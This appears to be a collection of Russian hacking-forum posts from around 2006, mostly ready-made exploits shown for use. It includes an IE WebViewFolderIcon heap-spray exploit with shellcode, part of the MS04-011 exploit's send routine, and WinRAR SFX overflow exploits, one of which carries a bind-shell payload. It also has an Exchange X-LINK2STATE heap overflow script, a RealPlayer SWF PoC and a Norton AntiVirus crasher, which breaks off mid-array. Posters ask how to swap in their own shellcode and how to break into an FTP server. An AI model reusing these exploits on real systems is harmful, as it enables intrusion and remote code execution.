#24 0x08284255 in XmlInitUnknownEncodingNS ()
#25 0x08284002 in XmlInitUnknownEncodingNS ()
#26 0xb7ebe11f in PL_HandleEvent () from /usr/lib/firefox/libxpcom_core.so
#27 0xb7ebe072 in PL_ProcessPendingEvents ()
from /usr/lib/firefox/libxpcom_core.so
#28 0xb7ebf69f in nsEventQueueImpl::CheckForDeactivation ()
from /usr/lib/firefox/libxpcom_core.so
#29 0x0824aba4 in XmlInitUnknownEncodingNS ()
#30 0xb797a53f in g_vasprintf () from /usr/lib/libglib-2.0.so.0
#31 0xb7952b77 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0
#32 0xb7954505 in g_main_context_acquire () from /usr/lib/libglib-2.0.so.0
#33 0xb795482a in g_main_loop_run () from /usr/lib/libglib-2.0.so.0
#34 0xb7c0fac3 in gtk_main () from /usr/lib/libgtk-x11-2.0.so.0
#35 0x0824ae48 in XmlInitUnknownEncodingNS ()
#36 0x0869f4c4 in nsXPTCVariant::Init ()
#37 0x0807d11f in ?? ()
#38 0x08b43ff0 in ?? ()
#39 0xb745f9b8 in ?? () from /lib/tls/libc.so.6
#40 0x00000000 in ?? ()
#41 0x00000000 in ?? ()
#42 0x00000001 in ?? ()
#43 0x08834520 in nsIFactory::GetIID()::iid ()
#44 0xbf8a100c in ?? ()
#45 0x08834520 in nsIFactory::GetIID()::iid ()
#46 0xbf8a100c in ?? ()
#47 0x00000000 in ?? ()
#48 0x08834480 in nsIFactory::GetIID()::iid ()
#49 0xbf8a1008 in ?? ()
#50 0x08834480 in nsIFactory::GetIID()::iid ()
#51 0xbf8a1008 in ?? ()
#52 0x00000000 in ?? ()
#53 0x00000000 in ?? ()
#54 0x00000000 in ?? ()
#55 0x00000001 in ?? ()
#56 0xb7378ee0 in ?? ()
#57 0x00000000 in ?? ()
#58 0x00000001 in ?? ()
#59 0x08a4ea30 in ?? ()
#60 0x08eac128 in ?? ()
#61 0xbf8a1058 in ?? ()
#62 0xb7de51e7 in pthread_mutex_lock () from /lib/tls/libpthread.so.0
#63 0x08079397 in ?? ()
#64 0x00000001 in ?? ()
#65 0xbf8a1384 in ?? ()
#66 0x088330a0 in _IO_stdin_used ()
#67 0xbf8a1358 in ?? ()
#68 0xb7468fcb in __libc_start_main () from /lib/tls/libc.so.6
#69 0xb7468fcb in __libc_start_main () from /lib/tls/libc.so.6
#70 0x080792f5 in ?? ()
(gdb) x/i $eip
0x81d98ee <_ZN17nsWritingIteratorItE7advanceEi+75886>: mov 0x4(%eax),%edx
(gdb) i r eax edx
eax 0x0 0
edx 0x95b55b8 156980664
(gdb) c
Continuing.
Detaching after fork from child process 16020.
Program received signal SIGSEGV, Segmentation fault.
0x081d98ee in nsWritingIterator
--- snip ---
-------------------------------------------------
TIMELINE
-------------------------------------------------
06/08/2006 - Vulnerability detected.
04/10/2006 - Vendor contacted, no response.
27/10/2006 - Advisory released
-------------------------------------------------
REFERENCES
-------------------------------------------------
http://gotfault.net/research/advisory/gadv-firefox.txt
http://www.barrossecurity.com/download/29
Решил разобраться в работе сплойтов. Взял для начала Сплойт
Code:Copy to clipboard
<HTML>
<BODY>
<script language="javascript">
var heapSprayToAddress = 0x05050505;
var payLoadCode = unescape(
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
"%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
for ( i = 0; i < 128; i++)
{
try{
var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
}catch(e){}
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</SCRIPT>
</BODY>
</HTML>
Интересует где здесь сам калькулятор. И что такое payLoadCode и откуда его взять.
собственно нужно узнать есть ли в нем уязвимости. это FTP сервер довольно популярный кстати. Многие пишут что есть и что типа сами его ломали и получали через него доступ, но как никто сказать не могут. весь рунет облазил но ничего скольнибудь полезного не нашел помогите пожалста поишите что нить в нерускоязычном интернете, а то у меня с языками уж очень туго... буду очень благодарен.
Как-то тупо получилось у меня с прошедшим топиком. Ну в принципе, ладно,
Вперед к написанию эксплоитов.
Не могли бы вы мне помочь и объяснить мне эту часть исходника(ms04-011), и
общую работу эксплойта(я уже вдоволь наслушался о переполнении а вот, что
делает эксплоит
т.е. как он отправляет шеллкод программе и тд.и я не слышал так
много).Например, представьте, что я написал шеллкод на определенную уязвимость
а что дальше…???
(Сори, что заставил выбирать из форума мои бумагомарания)
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);
memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);
memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);
if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);
screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[ - ] Send failed\n");
exit(1);
}
}
printf("OK\n");
len = recv(sockfd, recvbuf, 1600, 0);
return 0;
}
Специалисты по компьютерной безопасности организовали сайт http://browserfun.blogspot.com/, на котором в течении Июля обещают выкладывать по эксплоиту к броузерам каждый день.
Большинство из них будет для Internet Explorer и большинство для DoS атак, однако будут варианты и для других броузеров - Safari, Opera и т.п. Своеобразный вызов Microsoft и другим производителям программ называется Month of Browser Bugs - Месячник Ошибок Броузеров. На настоящий момент, как и положено, в блоге выложено уже 5 эксплоитов, ожидаем шестой.
источник: www.xakep.ru
недавно.. практически одновременнно вышли два сплоита для винрара..
WinRAR <= 3.60 beta 6 (SFX Path) Local Stack Overflow Exploit
Эксплоит:
Code:Copy to clipboard
"""
WinRAR - Stack Overflows in SelF - eXtracting Archives
======================================================
Tested Version(s)..: WinRAR 3.60 beta 4
Original Author.............: posidron
Shellcode Stuffing .........: muts
"""
import os, sys
winrar__ = 'C:\WinRAR.exe'
sfxnfo__ = "comment.txt"
result__ = "sample.exe"
# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com */
sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc +="\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc +="\x4e\x36\x46\x32\x46\x42\x4b\x58\x45\x44\x4e\x43\x4b\x58\x4e\x37"
sc +="\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
sc +="\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x53\x4b\x58"
sc +="\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
sc +="\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
sc +="\x46\x4f\x4b\x43\x46\x55\x46\x52\x4a\x52\x45\x47\x45\x4e\x4b\x48"
sc +="\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x54"
sc +="\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x42\x4b\x48"
sc +="\x49\x48\x4e\x56\x46\x42\x4e\x41\x41\x46\x43\x4c\x41\x33\x4b\x4d"
sc +="\x46\x36\x4b\x38\x43\x34\x42\x53\x4b\x48\x42\x54\x4e\x50\x4b\x48"
sc +="\x42\x37\x4e\x31\x4d\x4a\x4b\x48\x42\x44\x4a\x30\x50\x35\x4a\x36"
sc +="\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
sc +="\x43\x55\x48\x46\x4a\x46\x43\x33\x44\x53\x4a\x56\x47\x57\x43\x57"
sc +="\x44\x43\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
sc +="\x4e\x4f\x4b\x33\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x58\x45\x4e"
sc +="\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x56\x44\x50"
sc +="\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45"
sc +="\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x55\x43\x45\x43\x34"
sc +="\x43\x45\x43\x54\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x41\x51"
sc +="\x4e\x35\x48\x56\x43\x45\x49\x38\x41\x4e\x45\x59\x4a\x56\x46\x4a"
sc +="\x4c\x51\x42\x57\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x51"
sc +="\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32"
sc +="\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x45\x4e\x49\x44\x48\x38\x49\x34\x47\x55\x4f\x4f\x48\x4d"
sc +="\x42\x55\x46\x55\x46\x45\x45\x55\x4f\x4f\x42\x4d\x43\x39\x4a\x46"
sc +="\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45"
sc +="\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x56\x48\x56\x4a\x36\x43\x36"
sc +="\x4d\x36\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x32\x4e\x4c"
sc +="\x49\x58\x47\x4e\x4c\x46\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c"
sc +="\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x32"
sc +="\x43\x59\x4d\x48\x4c\x37\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
sc +="\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x57\x46\x44\x4f\x4f"
sc +="\x48\x4d\x4b\x55\x47\x45\x44\x55\x41\x55\x41\x45\x41\x45\x4c\x56"
sc +="\x41\x30\x41\x35\x41\x55\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
sc +="\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x46"
sc +="\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x35\x4e\x4f"
sc +="\x43\x58\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
sc +="\x4a\x46\x42\x4f\x4c\x38\x46\x30\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
sc +="\x4f\x4f\x42\x4d\x5a"
buf = "Path=" + "\x90" * (2035-len(sc)) +sc+ "\x3c\x15\xdc\x77" + "\x90" * 8 + "\xEB\x30\x90\x90" + "\r\nSavePath\r\n" # JMP ESP XP SP2
try:
info = open(sfxnfo__, "w+b")
info.write(buf)
info.close()
except IOError:
sys.exit("Error: unable to create: " + sfxnfo__)
print "Creating archive:",
os.spawnv(os.P_WAIT, winrar__, [winrar__, "a -sfx -s " + result__ + " " + __file__])
os.spawnv(os.P_WAIT, winrar__, [winrar__, "c -z" + sfxnfo__ + " " + result__])
print "done."
print "Executing:",
# debug only!
#os.spawnv(os.P_WAIT, result__, [result__, ""])
#print "done."
print "Cleaning up:",
os.remove(sfxnfo__)
print "done."
----
и второй:
WinRAR <= 3.60 beta 6 (SFX Path) Stack Overflow Exploit PoC
с описанием на английском.
пример/эксплоит:
Code:Copy to clipboard
"""
WinRAR - Stack Overflows in SelF - eXtracting Archives
======================================================
Tested Version(s)..: WinRAR 3.60 beta 4
Author.............: posidron
An SFX (SelF-eXtracting) archive is an archive, merged with an executable
module, which is used to extract files from the archive when executed. Thus no
external program is necessary to extract the contents of an SFX archive, it is
enough to execute it. Nevertheless WinRAR can work with SFX archives as with
any other archives, so if you do not want to run a received SFX archive (for
example, because of possible viruses), you may use WinRAR to view or extract
its contents. SFX archives usually have .exe extension as any other executable
file. (Quote: WinRAR Help)
WinRAR distributive includes several SFX modules. All SFX modules have .sfx
extension and must be in the same folder as WinRAR. By default WinRAR always
uses Default.sfx module.
Following commands are supported SFX commands by WinRAR, to configure the
executable module and to provide additional informations. These commands
will be placed in the "Comments" section within the produced package.
License=<title of the license dialog>{license text}
Delete=<filename>
Overwrite=[n]
Path=<path>
Presetup=<program /arguments>
Savepath
Setup=<program>
Shortcut=<DestType>,<SrcName>,<DestFolder>, <Description>,<ShortcutName>
Silent=[Param]
TempMode=[question,title]
Text={string}
Title=<title>
A detailed explanation of each command can be obtained in the "WinRAR Help",
in chapter SFX.
Each command above, which take string sequences as arguments is vulnerable
to a plain stack overflow while passing the user controled buffer through a
wsprintfA() without bounds checking.
This command allows to add a comment to an archive. The maximum comment
length is 62000 bytes for RAR archives and 32768 bytes for ZIP archives.
(Quote: WinRAR Help)
I selected the "Path" command to do a proof of concept of this vulnerability.
(2039 fill bytes + 4 bytes to overwrite the instruction pointer)
Example:
004039B6 push 0 ; /lParam = NULL
=> 004039B8 push sample.00401183 ; |DlgProc = sample.00401183
004039BD lea edx, dword ptr ss:[ebp-24] ; |
004039C0 push 0 ; |hOwner = NULL
004039C2 mov dword ptr ds:[415D78], edx ; |
004039C8 lea ecx, dword ptr ss:[ebp-3C] ; |
004039CB push sample.00414113 ; |pTemplate = "STARTDLG"
004039D0 push ebx ; |hInst
004039D1 mov dword ptr ds:[415D7C], ecx ; |
004039D7 call <jmp.&USER32.DialogBoxParamA> ; \DialogBoxParamA
........
=> 00401183 push ebp
00401184 mov ebp, esp
<snip>
004015D0 push eax ; /Path
004015D1 call <jmp.&KERNEL32.SetCurrentDirecto>; \SetCurrentDirectoryA
004015D6 test eax, eax
004015D8 jnz short sample.00401641
004015DA mov eax, 82
004015DF call sample.004029B4
004015E4 push eax ; /<%s>
004015E5 lea edx, dword ptr ss:[ebp-2C14] ; |
004015EB push edx ; |<%s>
004015EC push sample.00414132 ; |Format = "\"%s\"\n%s"
004015F1 lea ecx, dword ptr ss:[ebp-2E14] ; |
004015F7 push ecx ; |s
:) 004015F8 call <jmp.&USER32.wsprintfA> ; \wsprintfA
<snip>
After overflowing the "path" command:
EAX 00000000
ECX 766EF7A0
EDX 3F55EB94 ntdll.KiFastSystemCallRet
EBX 41414141
ESP 766EFFDC ASCII "BBBBBBBBBBBB"
EBP 00000003
ESI 7673DB1E ASCII "SavePath\r\n"
EDI 00414064 sample.00414064
EIP DEADBEEF
The user has to open the SFX archive directly, so that nomally the GUI installer
would popup, to trigger the vulnerability. Not by choosing the "Extract to.."
option of WinRAR in the "right click" context menu.
"""
import os, sys
winrar__ = 'C:\Programme\WinRAR\WinRAR.exe'
sfxnfo__ = "comment.txt"
result__ = "sample.exe"
buf = "Path=" + "A" * 2039 + "\xef\xbe\xad\xde" + "B" * 12 + "\r\nSavePath\r\n"
try:
info = open(sfxnfo__, "w+b")
info.write(buf)
info.close()
except IOError:
sys.exit("Error: unable to create: " + sfxnfo__)
try:
print "Creating archive:",
os.spawnv(os.P_WAIT, winrar__, [winrar__, "a -sfx -s " + result__ + " " + __file__])
os.spawnv(os.P_WAIT, winrar__, [winrar__, "c -z" + sfxnfo__ + " " + result__])
print "done."
print "Executing:",
# debug only!
os.spawnv(os.P_WAIT, result__, [result__, ""])
print "done."
print "Cleaning up:",
os.remove(sfxnfo__)
print "done."
except OSError:
print "failed!"
sys.exit("Error: application execution failed!")
Учимся на чужих ошибках. Microsoft MS06-013.
11 апреля 2006 года, Microsoft рассказала о новейшем патче MS06-013, который
обеспечивал безопасность IE. Патч фиксил 10 уязвимостей, самых знаменитых в
Сети. Он также включал функциональный апдейт, изменение в ActiveX (и зачем они
мне, они у меня отключены), которого многие пользователи Windows Update не
видели.
Эта статья покажет основные изменения в MS06-13. Также следует обсудить новые
типы решения этой проблемы, которые делаются в пределах возможностей
пользователей.
Изменение в работе ActiveX
Патч MS06-13 изменяет управление элементами ActiveX, реализованные в IE. На
багтраке есть объяснения этого "большого передела".
В то время, как многие юзеры не читают багтрак мелкософта, Microsoft всё-таки
включила в багтрак новость о возможных проблемах с интсаллированием патча.
KB9212812 показывает, что проблемы возникают с QuickTime, Macromedia и
Java(хотя яву можно вырубить, через неё твой реальный IP узнать, как два байта
переслать, никакие прокси не помеха). Хотя многие пользователи уже привыкли к
этим продуктам, а безопасность им нужна, но отказываться от макромедии и
квиктайма - нет уж.
Понимая трудности, Microsoft выпустила другую статью - KB917425. Эта статья
ещё известна, как "IE: Исправление ActiveX". Исправление восстанавливает
функциональные возможности АктивИКСа, но требует ребута. Но это не так
страшно! Итак, чтобы спор себя исчерпал, Microsoft обязана вернуть всю
функциональность ActiveX.
Пока пользователи только думают о изменениях с ActiveX, админы уже рвут волосы
на голове:
+ Ставить исправления, тем самым убив кучу возможностей
+ Заняться ерундой, не ставить патчи и юзать всё по полной
Итак, безопасность дело хорошее, если она не мешает ведению бизнеса. Другими
словами, никакой бизнес = никакой доход = никакая компания = никакой
потребности в безопасности. С этими словами, админы крупных компаний должны
были сделать один из вышеперечисленных выборов.
Если всё изменить в замену функциональности, то юзеры задолбают тебя своими
вопросами:"А что это Macromedia не запускается, а?". Итак, пока мелкомягкие
думают, как же написать патч, да чтобы он и на функциональность не действовал,
протсые пользователи всё же стоят перед выбором: ставить патч и спать
спокойно, либо не ставить патч и постоянно сканить комп антивирусом в поисках
вирусов.
Итак, в случае со вторым выбором, исправление будет дейстовать, пока не выйдет
вторая версия патча...
Если всё сделать поперёк ОСи, то она будет ругаться.
Чтобы защититься от всех этих напастей нужно лишь отключить активX.
Действительно, зачем он нужен? Вырубил и спи спокойно. Цифровые подписи
подделывают, красивый активх написать может любой! Верить никому нельзя! Так
что, вырубка ActiveX полезна, в отличии от вырубки лесов.
Установка патчей,админ, на локальный машины это твоё решение. Поптыайся
сделать так, чтобы и ось потом не сносить и с активхами всё было в порядке.
Автор сей статьи Bob Rudis. Скажем ему спасибо.
На русский язык её перевёл я, ZXroot.
До встречи.
Программа: SKYPE <=1.4
Описание: Баг проявляется в Windows при использовании большого количества
смайлов в чате. Результатом выполнения уязвимости является полное зависание
программы либо Skype перестает отвечать.
Пример:
Code:Copy to clipboard
:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:
D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:
D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D:D
Здаров народ, вобщем есть вопрос: скажем у нас есть сплоит
Code:Copy to clipboard
#!/bin/perl
#
#
# MS05-021 Exchange X-LINK2STATE Heap Overflow
# Author: Evgeny Pinchuk
# For educational purposes only.
#
# Tested on:
# Windows 2000 Server SP4 EN
# Microsoft Exchange 2000 SP3
#
# Thanks and greets:
# Halvar Flake (thx for the right directions)
# Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins
#
#
use IO::Socket::INET;
my $host = shift(@ARGV);
my $port = 25;
my $reply;
my $request;
my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll)
my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter
my $JMP="\xEB\x10";
my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" .
"\x59\x7C\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x5F" .
"\x0C\x59\x7C\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0D\x31\xd2\x52\x51" .
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\x72\x69\x59\x7C\xff\xd0\xe8\xc4\xff" .
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" .
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" .
"\xff\x4D\x53\x30\x35\x2D\x30\x32\x31\x20\x54\x65\x73\x74\x4e";
my $cmd="X-LINK2STATE CHUNK=";
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "EHLO\r\n";
send $socket, $request, 0;
print "[+] Sent EHLO\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = $cmd . "A"x1000 . "\r\n";
send $socket, $request, 0;
print "[+] Sent 1st chunk\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "A"x30 . $JMP . $EAX . $ECX . "B"x100 . $SC;
my $left=1000-length($request);
$request = $request . "C"x$left;
$request = $cmd . $request . "\r\n";
send $socket, $request, 0;
print "[+] Sent 2nd chunk\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
close $socket;
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "EHLO\r\n";
send $socket, $request, 0;
print "[+] Sent EHLO\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = $cmd . "A"x1000 . "\r\n";
send $socket, $request, 0;
print "[+] Sent 3rd chunk\n";
close $socket;
Так вот в нём шеллкод вызывает процедуру MessageBoxA, если я его заменю на свой, работоспособность сохранится, или придётся перещитывать адреса?
RealPlayer <= 10.5 (6.0.12.1040-1348) SWF Buffer Overflow PoC
описание:
Уязвимость существует из-за ошибки проверки границ при обработке SWF файлов.
Удаленный пользователь может с помощью специально сформированного файла
выполнить произвольный код на целевой системе.
Code:Copy to clipboard
#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin
# fbossi[at]netcomm.com.ar
###################################################
# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so
my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";
my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
"\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
"\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
"\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
"\x00\x00\x00";
open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;
for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}
print EGG $buffer;
print EGG $endheader;
close(EGG);
# milw0rm.com [2006-03-28]
Norton AntiVirus Crasher exploit
Программа:
Norton AntiVirus 2005 running on Win XP SP2
Norton AntiVirus 2002, 2003 and 2005 running on Win XP no SPs.
Эксплоит:
Exploit:
Code:Copy to clipboard
// ###################################
//
//- Norton AntiVirus Crash by NAV.kill File & Hide Virus
//- Coded by: JAAScois
//- Web site : www.jaascois.com
//- http://www.jaascois.com/exploits
//
// ###################################
//
//
// Tested on:
// Windows XP SP2 [ Norton AntiVirus2005 ]
// Windows XP SP0 [ Norton AntiVirus2002 & Norton AntiVirus2003 & Norton
AntiVirus2005 ]
//
#include <stdio.h>
#include <string.h>
#include <windows.h>
unsigned char NAVkill[]=
"\x50\x4B\x03\x04\x14\x00\x02\x00\x08\x00\x1B\xAD\x7C\x28\x93\x75\xDC"
"\xC8\xF9\x09\x00\x00\x56\x88\x00\x00\x09\x00\x00\x00\x6C\x69\x62"
"\x20\x30\x2E\x7A\x69\x70\xED\xDD\x57\x50\x53\xDB\x1A\x07\xF0\x48"
"\x11\x38\x74\x95\x43\x00\xB1\x51\x22\x48\x95\x1A\xC4\xA0\xDC\x23"
"\xBD\x09\x48\x95\x62\x28\x51\x8A\xE8\x0D\x2D\x14\x2B\x47\xE9\x10"
"\x01\x29\x46\x94\x8E\x28\x51\x44\x7A\xB3\x25\xA0\x20\x08\xA2\x20"
"\x52\x54\x04\xA4\xB7\x43\x09\x88\x1C\xBD\x8E\xF7\xC6\x87\x33\x37"
"\x33\x79\xFD\xF6\x7E\x58\x7B\xCD\xDA\xFF\xF9\x5E\x7F\xB3\xF7\x2A"
"\x16\xC6\xAC\x6C\x5B\x10\x2C\x08\x4E\x44\xDB\x9D\xB0\xDD\x54\xD7"
"\xF1\x0D\x92\x9C\x08\xC4\x46\x3C\x02\xF1\x1B\x02\x81\xC0\xFA\xF9"
"\x79\xEF\x50\x51\x08\x39\x71\x6A\xB2\xCF\x5B\xD3\x7A\x75\x1B\xC7"
"\x8C\x14\x25\x6A\x2B\x97\x90\x44\xAA\xB4\x04\x3A\x39\xD4\x3D\xB7"
"\xE3\x4F\xC1\x40\xA4\xE0\xAE\x0A\x11\x93\x29\xA1\xAC\xBA\xED\x96"
"\x81\xE4\x46\x79\xD3\x08\x49\xC7\x4D\xFF\xE6\xEF\x4B\x2E\x71\xA2"
"\x4A\x25\x79\x3F\xAE\xF4\x49\x15\xAC\xBA\x34\x4A\x6A\x25\x9C\x6E"
"\x75\x6E\xC3\x67\xE2\x9C\x6F\xD0\x8A\x17\xB0\xFB\x1B\x46\xD6\xD7"
"\xC9\x0B\x73\xA5\x99\x01\xB4\xB5\x17\x5C\xB5\xD7\x28\x89\xA6\x4D"
"\x2E\x89\xDD\x17\x12\xD7\x90\x4F\x7A\x3A\xF4\x30\x6C\x86\x5C\x87"
"\x04\x76\xB2\x1D\x24\x19\x9A\x61\x36\x90\xCF\xDC\x17\x95\x7D\xE4"
"\x7E\x23\x7D\x83\x79\x5C\xEE\x8E\x5B\xB6\xF8\xFD\x81\x8A\x26\xF9"
"\x22\x29\x26\xD9\xBE\xC2\xAD\x96\x52\x61\x05\xB8\x0B\x75\x1F\xF7"
"\x39\x4A\x64\xE7\x16\x1A\x04\x4B\x78\x68\x1C\x4E\x4F\x5B\x7B\x30"
"\x74\xCB\x8B\x1C\x55\xDB\x94\x77\x5B\x10\x5D\xBF\x68\xA4\x97\x23"
"\xD3\x68\x67\x5A\x93\x13\x54\xA0\x45\xC8\xBB\x5C\x14\xAA\x68\x8A"
"\x9A\xAA\xC6\x2C\xB6\x86\x4E\xD4\xD7\x5C\xEC\xB7\xD5\xDE\xEF\x9B"
